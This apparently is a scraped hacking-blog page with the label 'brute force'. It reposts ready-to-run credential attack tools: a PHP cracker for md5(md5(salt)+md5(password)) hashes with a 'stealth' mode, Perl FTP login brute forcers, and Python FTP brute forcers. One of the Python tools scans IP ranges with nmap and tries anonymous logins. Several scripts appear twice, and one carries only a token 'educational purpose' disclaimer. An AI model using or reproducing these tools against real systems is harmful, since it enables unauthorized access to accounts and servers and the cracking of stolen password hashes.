<?php
set_time_limit(0); /////////////////////////////////////////////////
//
// md5(md5(salt) + md5(password)) bruteforcer
// coder: sp1r1t
// www.security-shell.com
// version: 1.0
// this script works only if hashing is done like this md5(md5(salt) + md5(password))
//
/////////////////////////////////////////////////
// INSERT YOUR HASH AND SALT HERE: $hash = ""; $salt = ""; // STEALTH MODE ON=1 OFF=0 (if stealth is ON, cpu usage will be low and normal, but bruteforcer will be slower, if stealth mode is OFF, cpu usage will be 100% but bruteforcer will be faster) $stealth = 0; //
// ARRAYS WITH CHARACTERS TO USE IN BRUTEFORCING PROCESS | IF YOU ADD YOUR ARRAY MAKE SURE YOU PUT IT IN ARRAY_MERGE FUNCTION TO JOIN THE OTHER ARRAYS $lower = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); $numeric = array('0','1','2','3','4','5','6','7','8','9'); $upper = array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'); $GTFO = array_merge($lower, $numeric, $upper); //
// KEEP AWAY FROM THIS PIECE OF CODE IF YOU DON'T KNOW WHAT YOU'RE DOING $found = 0; $count = count($GTFO); $hash = strtolower($hash);
if(strlen($hash) == 32) { //----------------------------------------------1-------------------------------------------------- for($i1=0;$i1<$count;$i1++) {
if(md5(md5($salt).md5($GTFO[$i1])) == $hash) {
writetofile("$hash : ".$GTFO[$i1],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------2-------------------------------------------------- if($found != 1)
for($i20=0;$i20<$count;$i20++)
for($i21=0;$i21<$count;$i21++) {
if(md5(md5($salt).md5($GTFO[$i20].$GTFO[$i21])) == $hash) {
writetofile("$hash : ".$GTFO[$i20].$GTFO[$i21],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------3-------------------------------------------------- if($found != 1)
for($i30=0;$i30<$count;$i30++)
for($i31=0;$i31<$count;$i31++)
for($i32=0;$i32<$count;$i32++) {
if(md5(md5($salt).md5($GTFO[$i30].$GTFO[$i31].$GTFO[$i32])) == $hash) {
writetofile("$hash : ".$GTFO[$i30].$GTFO[$i31].$GTFO[$i32],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------4-------------------------------------------------- if($found != 1)
for($i40=0;$i40<$count;$i40++)
for($i41=0;$i41<$count;$i41++)
for($i42=0;$i42<$count;$i42++)
for($i43=0;$i43<$count;$i43++) {
if(md5(md5($salt).md5($GTFO[$i40].$GTFO[$i41].$GTFO[$i42].$GTFO[$i43])) == $hash) {
writetofile("$hash : ".$GTFO[$i40].$GTFO[$i41].$GTFO[$i42].$GTFO[$i43],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------5-------------------------------------------------- if($found != 1)
for($i50=0;$i50<$count;$i50++)
for($i51=0;$i51<$count;$i51++)
for($i52=0;$i52<$count;$i52++)
for($i53=0;$i53<$count;$i53++)
for($i54=0;$i54<$count;$i54++) {
if(md5(md5($salt).md5($GTFO[$i50].$GTFO[$i51].$GTFO[$i52].$GTFO[$i53].$GTFO[$i54])) == $hash) {
writetofile("$hash : ".$GTFO[$i50].$GTFO[$i51].$GTFO[$i52].$GTFO[$i53].$GTFO[$i54],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------6-------------------------------------------------- if($found != 1)
for($i60=0;$i60<$count;$i60++)
for($i61=0;$i61<$count;$i61++)
for($i62=0;$i62<$count;$i62++)
for($i63=0;$i63<$count;$i63++)
for($i64=0;$i64<$count;$i64++)
for($i65=0;$i65<$count;$i65++) {
if(md5(md5($salt).md5($GTFO[$i60].$GTFO[$i61].$GTFO[$i62].$GTFO[$i63].$GTFO[$i64].$GTFO[$i65])) == $hash) {
writetofile("$hash : ".$GTFO[$i60].$GTFO[$i61].$GTFO[$i62].$GTFO[$i63].$GTFO[$i64].$GTFO[$i65],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------7-------------------------------------------------- if($found != 1)
for($i70=0;$i70<$count;$i70++)
for($i71=0;$i71<$count;$i71++)
for($i72=0;$i72<$count;$i72++)
for($i73=0;$i73<$count;$i73++)
for($i74=0;$i74<$count;$i74++)
for($i75=0;$i75<$count;$i75++)
for($i76=0;$i76<$count;$i76++) {
if(md5(md5($salt).md5($GTFO[$i70].$GTFO[$i71].$GTFO[$i72].$GTFO[$i73].$GTFO[$i74].$GTFO[$i75].$GTFO[$i76])) == $hash) {
writetofile("$hash : ".$GTFO[$i70].$GTFO[$i71].$GTFO[$i72].$GTFO[$i73].$GTFO[$i74].$GTFO[$i75].$GTFO[$i76],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------8-------------------------------------------------- if($found != 1)
for($i80=0;$i80<$count;$i80++)
for($i81=0;$i81<$count;$i81++)
for($i82=0;$i82<$count;$i82++)
for($i83=0;$i83<$count;$i83++)
for($i84=0;$i84<$count;$i84++)
for($i85=0;$i85<$count;$i85++)
for($i86=0;$i86<$count;$i86++)
for($i87=0;$i87<$count;$i87++) {
if(md5(md5($salt).md5($GTFO[$i80].$GTFO[$i81].$GTFO[$i82].$GTFO[$i83].$GTFO[$i84].$GTFO[$i85].$GTFO[$i86].$GTFO[$i87])) == $hash) {
writetofile("$hash : ".$GTFO[$i80].$GTFO[$i81].$GTFO[$i82].$GTFO[$i83].$GTFO[$i84].$GTFO[$i85].$GTFO[$i86].$GTFO[$i87],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------9-------------------------------------------------- if($found != 1)
for($i90=0;$i90<$count;$i90++)
for($i91=0;$i91<$count;$i91++)
for($i92=0;$i92<$count;$i92++)
for($i93=0;$i93<$count;$i93++)
for($i94=0;$i94<$count;$i94++)
for($i95=0;$i95<$count;$i95++)
for($i96=0;$i96<$count;$i96++)
for($i97=0;$i97<$count;$i97++)
for($i98=0;$i98<$count;$i98++) {
if(md5(md5($salt).md5($GTFO[$i90].$GTFO[$i91].$GTFO[$i92].$GTFO[$i93].$GTFO[$i94].$GTFO[$i95].$GTFO[$i96].$GTFO[$i97].$GTFO[$i98])) == $hash) {
writetofile("$hash : ".$GTFO[$i90].$GTFO[$i91].$GTFO[$i92].$GTFO[$i93].$GTFO[$i94].$GTFO[$i95].$GTFO[$i96].$GTFO[$i97].$GTFO[$i98],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------10------------------------------------------------- if($found != 1)
for($i100=0;$i100<$count;$i100++)
for($i101=0;$i101<$count;$i101++)
for($i102=0;$i102<$count;$i102++)
for($i103=0;$i103<$count;$i103++)
for($i104=0;$i104<$count;$i104++)
for($i105=0;$i105<$count;$i105++)
for($i106=0;$i106<$count;$i106++)
for($i107=0;$i107<$count;$i107++)
for($i108=0;$i108<$count;$i108++)
for($i109=0;$i109<$count;$i109++) {
if(md5(md5($salt).md5($GTFO[$i100].$GTFO[$i101].$GTFO[$i102].$GTFO[$i103].$GTFO[$i104].$GTFO[$i105].$GTFO[$i106].$GTFO[$i107].$GTFO[$i108].$GTFO[$i109])) == $hash) {
writetofile("$hash : ".$GTFO[$i100].$GTFO[$i101].$GTFO[$i102].$GTFO[$i103].$GTFO[$i104].$GTFO[$i105].$GTFO[$i106].$GTFO[$i107].$GTFO[$i108].$GTFO[$i109],$salt);
$found = 1;
break;
}
if($stealth == 1) usleep(1);
} //----------------------------------------------END------------------------------------------------ if($found == 0) writetofile("$hash : hash not found");
}
function writetofile($string,$string2) {
$file = fopen("Cracked.txt", "a") or die("error");
fwrite($file, "salt : ".$string2."\n");
fwrite($file, $string."\n");
fclose($file);
} ?>
Showing posts with label brute force. Show all posts
Showing posts with label brute force. Show all posts
Thursday, November 25, 2010
Md5(md5(salt)+md5(password)) Bruteforcer
ftp brute forcer
#!/usr/bin/perl
use strict;
use Getopt::Std;
use Net::FTP;
use vars qw($opt_h $opt_u $opt_U $opt_p $opt_P);
getopt("h:u:U:p:P:");
if ((!$opt_h) || ((!$opt_u) && (!$opt_U)) || ((!$opt_p) && (!$opt_P)) ){ &usage; exit; };
if (! -e "FTP_CRACK") {
open (LOGFILE, ">result.txt") or die "Cannot Open Log File";
close LOGFILE;
};
my $HOST = $opt_h;
my $USER;
my $PASS;
my @USERNAMES;
my @PASSWORDS;
my $ftp;
if ($opt_u) {$USERNAMES[0] = $opt_u;
chomp $USERNAMES[0];
} else {
open (USERFILE, "$opt_U") or die "\a\nError Unable To Open $opt_U.\n $!";
@USERNAMES = ;
close USERFILE;
};
if ($opt_p) {$PASSWORDS[0] = $opt_p;
chomp $PASSWORDS[0];
} else {
open (PASSFILE, "$opt_P") or die "\a\nError Unable To Open $opt_P.\n $!";
@PASSWORDS = ;
close PASSFILE;
};
foreach my $U (@USERNAMES) {
chomp $U;
$USER = $U;
foreach my $P (@PASSWORDS) {
chomp $P;
$PASS = $P;
&connect;
&do_it;
};
};
&quit;
exit;
sub connect {
undef($ftp);
while (! $ftp) {
$ftp = Net::FTP -> new ("$HOST") or warn "\n\nSorry Cant Connect To $HOST\n$!";
};
};
sub do_it{
$ftp -> login($USER,$PASS) and &success;
$ftp -> quit;
};
sub success {
open (LOGFILE, ">result.txt") or die "Cannot Open Log File";
print LOGFILE "\nUsername : $USER has Password : $PASS on $HOST.\n\n\n\n\n";
close LOGFILE;
&quit;
};
sub usage {
print "Usage:$0 -h HOST [-u USERNAME || -U USERLIST] [-p PASSWORD || -P PASSLIST]";
print "\n";
print "\n-h = Hostname Of FTP Server.";
print "\n-u = Single Username To crack.";
print "\n-U = List Of Usernames To crack.";
print "\n-p = Single Password To use.";
print "\n-P = List Of Passwords To use.";
print "\nCracked Accounts are appended To result.txt .";
print "\n\n";
exit;
};
sub quit {
print "\n\nI'M DONE ......\n\n";
exit;
};
------------------------------------------------
#!/usr/bin/perl
use strict;
use Getopt::Std;
use Net::FTP;
use vars qw($opt_h $opt_u $opt_U $opt_p $opt_P);
getopt("h:u:U:p:P:");
if ((!$opt_h) || ((!$opt_u) && (!$opt_U)) || ((!$opt_p) && (!$opt_P)) ){ &usage; exit; };
if (! -e "FTP_CRACK") {
open (LOGFILE, ">result.txt") or die "Cannot Open Log File";
close LOGFILE;
};
my $HOST = $opt_h;
my $USER;
my $PASS;
my @USERNAMES;
my @PASSWORDS;
my $ftp;
if ($opt_u) {$USERNAMES[0] = $opt_u;
chomp $USERNAMES[0];
} else {
open (USERFILE, "$opt_U") or die "\a\nError Unable To Open $opt_U.\n $!";
@USERNAMES = ;
close USERFILE;
};
if ($opt_p) {$PASSWORDS[0] = $opt_p;
chomp $PASSWORDS[0];
} else {
open (PASSFILE, "$opt_P") or die "\a\nError Unable To Open $opt_P.\n $!";
@PASSWORDS = ;
close PASSFILE;
};
foreach my $P (@PASSWORDS) {
chomp $P;
$PASS = $P;
foreach my $U (@USERNAMES) {
chomp $U;
$USER = $U;
&connect;
&do_it;
};
};
&quit;
exit;
sub connect {
undef($ftp);
while (! $ftp) {
$ftp = Net::FTP -> new ("$HOST") or warn "\n\nSorry Cant Connect To $HOST\n$!";
};
};
sub do_it{
$ftp -> login($USER,$PASS) and &success;
$ftp -> quit;
};
sub success {
open (LOGFILE, ">result.txt") or die "Cannot Open Log File";
print LOGFILE "\nUsername : $USER has Password : $PASS on $HOST.\n\n\n\n\n";
close LOGFILE;
&quit;
};
sub usage {
print "Usage:$0 -h HOST [-u USERNAME || -U USERLIST] [-p PASSWORD || -P PASSLIST]";
print "\n";
print "\n-h = Hostname Of FTP Server.";
print "\n-u = Single Username To crack.";
print "\n-U = List Of Usernames To crack.";
print "\n-p = Single Password To use.";
print "\n-P = List Of Passwords To use.";
print "\nCracked Accounts are appended To result.txt .";
print "\n\n";
exit;
};
sub quit {
exit;
};
ftp brute forcer in range of ip's
#!usr/bin/python
#Ftp Brute Forcer, searches ip_range for hosts using ftp.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import threading, time, StringIO, commands, random, sys, ftplib, re
from ftplib import FTP
from copy import copy
if len(sys.argv) !=4:
print "Usage: ./ftpbrute.py <ip_range> <userlist> <wordlist>"
sys.exit(1)
try:
users = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your userlist path\n"
sys.exit(1)
try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)
print "\n\t d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
wordlist = copy(words)
def scan():
iprange = sys.argv[1]
ip_list = []
nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
for tmp in nmap:
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
if ipaddr:
ip_list.append(ipaddr[0])
return ip_list
def reloader():
for word in wordlist:
words.append(word)
def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
reloader()
value = random.sample(words, 1)
lock.release()
return value[0][:-1]
class Workhorse(threading.Thread):
def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
ftp = FTP(ip)
ftp.login(user[:-1], value)
ftp.retrlines('LIST')
print "\t\nLogin successful:",user, value
ftp.quit()
work.join()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "An error occurred:", msg
pass
ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
print "\n\tAttempting BruteForce:",ip,"\n"
try:
f = FTP(ip)
print "[+] Response:",f.getwelcome()
except (ftplib.all_errors):
pass
try:
print "\n[+] Checking for anonymous login\n"
ftp = FTP(ip)
ftp.login()
ftp.retrlines('LIST')
print "\t\nAnonymous login successful!!!\n"
ftp.quit()
except (ftplib.all_errors):
print "\tAnonymous login unsuccessful\n"
for user in users:
for i in range(len(words)):
if i == 0: reloader()
work = Workhorse()
work.start()
time.sleep(1)
#Ftp Brute Forcer, searches ip_range for hosts using ftp.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import threading, time, StringIO, commands, random, sys, ftplib, re
from ftplib import FTP
from copy import copy
if len(sys.argv) !=4:
print "Usage: ./ftpbrute.py <ip_range> <userlist> <wordlist>"
sys.exit(1)
try:
users = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your userlist path\n"
sys.exit(1)
try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)
print "\n\t d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
wordlist = copy(words)
def scan():
iprange = sys.argv[1]
ip_list = []
nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
for tmp in nmap:
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
if ipaddr:
ip_list.append(ipaddr[0])
return ip_list
def reloader():
for word in wordlist:
words.append(word)
def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
reloader()
value = random.sample(words, 1)
lock.release()
return value[0][:-1]
class Workhorse(threading.Thread):
def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
ftp = FTP(ip)
ftp.login(user[:-1], value)
ftp.retrlines('LIST')
print "\t\nLogin successful:",user, value
ftp.quit()
work.join()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "An error occurred:", msg
pass
ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
print "\n\tAttempting BruteForce:",ip,"\n"
try:
f = FTP(ip)
print "[+] Response:",f.getwelcome()
except (ftplib.all_errors):
pass
try:
print "\n[+] Checking for anonymous login\n"
ftp = FTP(ip)
ftp.login()
ftp.retrlines('LIST')
print "\t\nAnonymous login successful!!!\n"
ftp.quit()
except (ftplib.all_errors):
print "\tAnonymous login unsuccessful\n"
for user in users:
for i in range(len(words)):
if i == 0: reloader()
work = Workhorse()
work.start()
time.sleep(1)
ftp brute forcer
#!/usr/bin/python
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
################################################################
# This is ftp brute force tools .
# This was written for educational purpose and pentest only. Use it at your own risk.
# Suggestion ! don't use very large wordlist, because system need to read it first for a while and do it @ brute time... "that's cause LOSS" maybe you can use time.sleep(int)
# VISIT : http://www.devilzc0de.com
# CODING BY : gunslinger_
# EMAIL : gunslinger.devilzc0de@gmail.com
# TOOL NAME : ftpbrute.py v1.0
# Big thanks darkc0de member : d3hydr8, Kopele, icedzomby, VMw4r3 and all member
# Special thanks to devilzc0de crew : mywisdom, petimati, peneter, flyff666, rotlez, 7460, xtr0nic, devil_nongkrong, cruzen and all devilzc0de family
# Greetz : all member of jasakom.com, jatimcrew.com
# Special i made for jasakom member and devilzc0de family
# Please remember... your action will be logged in target system...
# Author will not be responsible for any damage !!
# Use it with your own risk
import sys
import time
import os
from ftplib import FTP
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
SysCls = 'cls'
else:
SysCls = 'unknown'
log = "ftpbrute.log"
file = open(log, "a")
def MyFace() :
os.system(SysCls)
print "\n .___ .__ .__ _______ .___ "
print " __| _/ ____ ___ __|__|| | ________ ____ \ _ \ __| _/ ____ ____ _______ ____ __ _ __ "
print " / __ |_/ __ \\\ \/ /| || | \___ /_/ ___\/ /_\ \ / __ |_/ __ \ _/ ___\\\_ __ \_/ __ \\\ \/ \/ / "
print " / /_/ |\ ___/ \ / | || |__ / / \ \___\ \_/ \/ /_/ |\ ___/ \ \___ | | \/\ ___/ \ / "
print " \____ | \___ > \_/ |__||____//_____ \ \___ >\_____ /\____ | \___ > \___ >|__| \___ > \/\_/ "
print " \/ \/ \/ \/ \/ \/ \/ \/ \/ "
print " http://www.devilzc0de.com "
print " by : gunslinger_ "
print " ftpbrute.py version 1.0 "
print " Brute forcing ftp target "
print " Programmmer : gunslinger_ "
print " gunslinger[at]devilzc0de[dot]com "
print "_______________________________________________________________________________________________________________________________________\n"
file.write("\n .___ .__ .__ _______ .___ ")
file.write("\n __| _/ ____ ___ __|__|| | ________ ____ \ _ \ __| _/ ____ ____ _______ ____ __ _ __ ")
file.write("\n / __ |_/ __ \\\ \/ /| || | \___ /_/ ___\/ /_\ \ / __ |_/ __ \ _/ ___\\\_ __ \_/ __ \\\ \/ \/ / ")
file.write("\n / /_/ |\ ___/ \ / | || |__ / / \ \___\ \_/ \/ /_/ |\ ___/ \ \___ | | \/\ ___/ \ / ")
file.write("\n \____ | \___ > \_/ |__||____//_____ \ \___ >\_____ /\____ | \___ > \___ >|__| \___ > \/\_/ ")
file.write("\n \/ \/ \/ \/ \/ \/ \/ \/ \/ ")
file.write("\n http://www.devilzc0de.com ")
file.write("\n by : gunslinger_ ")
file.write("\n ftpbrute.py version 1.0 ")
file.write("\n Brute forcing ftp target ")
file.write("\n Programmmer : gunslinger_ ")
file.write("\n gunslinger[at]devilzc0de[dot]com ")
file.write("\n_______________________________________________________________________________________________________________________________________\n")
def HelpMe() :
MyFace()
print 'Usage: ./ftpbrute.py [options]\n'
print 'Options: -t, --target <hostname/ip> | Target to bruteforcing '
print ' -u, --user <user> | User for bruteforcing'
print ' -w, --wordlist <filename> | Wordlist used for bruteforcing'
print ' -h, --help <help> | print this help'
print ' \n'
print 'Example: ./ftpbrute.py -t 192.168.1.1 -u root -w wordlist.txt \n'
file.write( '\nUsage: ./ftpbrute.py [options]')
file.write( '\nOptions: -t, --target <hostname/ip> | Target to bruteforcing ')
file.write( '\n -u, --user <user> | User for bruteforcing')
file.write( '\n -w, --wordlist <filename> | Wordlist used for bruteforcing')
file.write( '\n -h, --help <help> | print this help')
file.write( '\n maybe you can use time.sleep(int) \n')
file.write( '\nExample: ./ftpbrute.py -t 192.168.1.1 -u root -w wordlist.txt \n')
sys.exit(1)
for arg in sys.argv:
if arg.lower() == '-t' or arg.lower() == '--target':
hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-u' or arg.lower() == '--user':
user = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
HelpMe()
elif len(sys.argv) <= 1:
HelpMe()
def BruteForce(word) :
print "[?]Trying :",word
file.write("\n[?]Trying :"+word)
try:
ftp = FTP(hostname)
ftp.login(user, word)
ftp.retrlines('list')
ftp.quit()
print "\n\t[!] Login Success ! "
print "\t[!] Username : ",user, ""
print "\t[!] Password : ",word, ""
print "\t[!] Hostname : ",hostname, ""
print "\t[!] Log all has been saved to",log,"\n"
file.write("\n\n\t[!] Login Success ! ")
file.write("\n\t[!] Username : "+user )
file.write("\n\t[!] Password : "+word )
file.write("\n\t[!] Hostname : "+hostname)
file.write("\n\t[!] Log all has been saved to "+log)
sys.exit(1)
except Exception, e:
#print "[-] Failed"
pass
except KeyboardInterrupt:
print "\n[-] Aborting...\n"
file.write("\n[-] Aborting...\n")
sys.exit(1)
def Action ():
MyFace()
print "[!] Starting attack at %s" % time.strftime("%X")
print "[!] System Activated for brute forcing..."
print "[!] Please wait until brute forcing finish !\n"
file.write("\n[!] Starting attack at %s" % time.strftime("%X"))
file.write("\n[!] System Activated for brute forcing...")
file.write("\n[!] Please wait until brute forcing finish !\n")
Action()
try:
words = open(wordlist, "r").readlines()
except(IOError):
print "\n[-] Error: Check your wordlist path\n"
file.write("\n[-] Error: Check your wordlist path\n")
sys.exit(1)
print "\n[+] Loaded:",len(words),"words"
print "[+] Server:",hostname
print "[+] User:",user
print "[+] BruteForcing...\n"
for word in words:
BruteForce(word.replace("\n",""))
file.close()
################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #
################################################################
# This is ftp brute force tools .
# This was written for educational purpose and pentest only. Use it at your own risk.
# Suggestion ! don't use very large wordlist, because system need to read it first for a while and do it @ brute time... "that's cause LOSS" maybe you can use time.sleep(int)
# VISIT : http://www.devilzc0de.com
# CODING BY : gunslinger_
# EMAIL : gunslinger.devilzc0de@gmail.com
# TOOL NAME : ftpbrute.py v1.0
# Big thanks darkc0de member : d3hydr8, Kopele, icedzomby, VMw4r3 and all member
# Special thanks to devilzc0de crew : mywisdom, petimati, peneter, flyff666, rotlez, 7460, xtr0nic, devil_nongkrong, cruzen and all devilzc0de family
# Greetz : all member of jasakom.com, jatimcrew.com
# Special i made for jasakom member and devilzc0de family
# Please remember... your action will be logged in target system...
# Author will not be responsible for any damage !!
# Use it with your own risk
import sys
import time
import os
from ftplib import FTP
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
SysCls = 'cls'
else:
SysCls = 'unknown'
log = "ftpbrute.log"
file = open(log, "a")
def MyFace() :
os.system(SysCls)
print "\n .___ .__ .__ _______ .___ "
print " __| _/ ____ ___ __|__|| | ________ ____ \ _ \ __| _/ ____ ____ _______ ____ __ _ __ "
print " / __ |_/ __ \\\ \/ /| || | \___ /_/ ___\/ /_\ \ / __ |_/ __ \ _/ ___\\\_ __ \_/ __ \\\ \/ \/ / "
print " / /_/ |\ ___/ \ / | || |__ / / \ \___\ \_/ \/ /_/ |\ ___/ \ \___ | | \/\ ___/ \ / "
print " \____ | \___ > \_/ |__||____//_____ \ \___ >\_____ /\____ | \___ > \___ >|__| \___ > \/\_/ "
print " \/ \/ \/ \/ \/ \/ \/ \/ \/ "
print " http://www.devilzc0de.com "
print " by : gunslinger_ "
print " ftpbrute.py version 1.0 "
print " Brute forcing ftp target "
print " Programmmer : gunslinger_ "
print " gunslinger[at]devilzc0de[dot]com "
print "_______________________________________________________________________________________________________________________________________\n"
file.write("\n .___ .__ .__ _______ .___ ")
file.write("\n __| _/ ____ ___ __|__|| | ________ ____ \ _ \ __| _/ ____ ____ _______ ____ __ _ __ ")
file.write("\n / __ |_/ __ \\\ \/ /| || | \___ /_/ ___\/ /_\ \ / __ |_/ __ \ _/ ___\\\_ __ \_/ __ \\\ \/ \/ / ")
file.write("\n / /_/ |\ ___/ \ / | || |__ / / \ \___\ \_/ \/ /_/ |\ ___/ \ \___ | | \/\ ___/ \ / ")
file.write("\n \____ | \___ > \_/ |__||____//_____ \ \___ >\_____ /\____ | \___ > \___ >|__| \___ > \/\_/ ")
file.write("\n \/ \/ \/ \/ \/ \/ \/ \/ \/ ")
file.write("\n http://www.devilzc0de.com ")
file.write("\n by : gunslinger_ ")
file.write("\n ftpbrute.py version 1.0 ")
file.write("\n Brute forcing ftp target ")
file.write("\n Programmmer : gunslinger_ ")
file.write("\n gunslinger[at]devilzc0de[dot]com ")
file.write("\n_______________________________________________________________________________________________________________________________________\n")
def HelpMe() :
MyFace()
print 'Usage: ./ftpbrute.py [options]\n'
print 'Options: -t, --target <hostname/ip> | Target to bruteforcing '
print ' -u, --user <user> | User for bruteforcing'
print ' -w, --wordlist <filename> | Wordlist used for bruteforcing'
print ' -h, --help <help> | print this help'
print ' \n'
print 'Example: ./ftpbrute.py -t 192.168.1.1 -u root -w wordlist.txt \n'
file.write( '\nUsage: ./ftpbrute.py [options]')
file.write( '\nOptions: -t, --target <hostname/ip> | Target to bruteforcing ')
file.write( '\n -u, --user <user> | User for bruteforcing')
file.write( '\n -w, --wordlist <filename> | Wordlist used for bruteforcing')
file.write( '\n -h, --help <help> | print this help')
file.write( '\n maybe you can use time.sleep(int) \n')
file.write( '\nExample: ./ftpbrute.py -t 192.168.1.1 -u root -w wordlist.txt \n')
sys.exit(1)
for arg in sys.argv:
if arg.lower() == '-t' or arg.lower() == '--target':
hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-u' or arg.lower() == '--user':
user = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
HelpMe()
elif len(sys.argv) <= 1:
HelpMe()
def BruteForce(word) :
print "[?]Trying :",word
file.write("\n[?]Trying :"+word)
try:
ftp = FTP(hostname)
ftp.login(user, word)
ftp.retrlines('list')
ftp.quit()
print "\n\t[!] Login Success ! "
print "\t[!] Username : ",user, ""
print "\t[!] Password : ",word, ""
print "\t[!] Hostname : ",hostname, ""
print "\t[!] Log all has been saved to",log,"\n"
file.write("\n\n\t[!] Login Success ! ")
file.write("\n\t[!] Username : "+user )
file.write("\n\t[!] Password : "+word )
file.write("\n\t[!] Hostname : "+hostname)
file.write("\n\t[!] Log all has been saved to "+log)
sys.exit(1)
except Exception, e:
#print "[-] Failed"
pass
except KeyboardInterrupt:
print "\n[-] Aborting...\n"
file.write("\n[-] Aborting...\n")
sys.exit(1)
def Action ():
MyFace()
print "[!] Starting attack at %s" % time.strftime("%X")
print "[!] System Activated for brute forcing..."
print "[!] Please wait until brute forcing finish !\n"
file.write("\n[!] Starting attack at %s" % time.strftime("%X"))
file.write("\n[!] System Activated for brute forcing...")
file.write("\n[!] Please wait until brute forcing finish !\n")
Action()
try:
words = open(wordlist, "r").readlines()
except(IOError):
print "\n[-] Error: Check your wordlist path\n"
file.write("\n[-] Error: Check your wordlist path\n")
sys.exit(1)
print "\n[+] Loaded:",len(words),"words"
print "[+] Server:",hostname
print "[+] User:",user
print "[+] BruteForcing...\n"
for word in words:
BruteForce(word.replace("\n",""))
file.close()
Subscribe to:
Posts (Atom)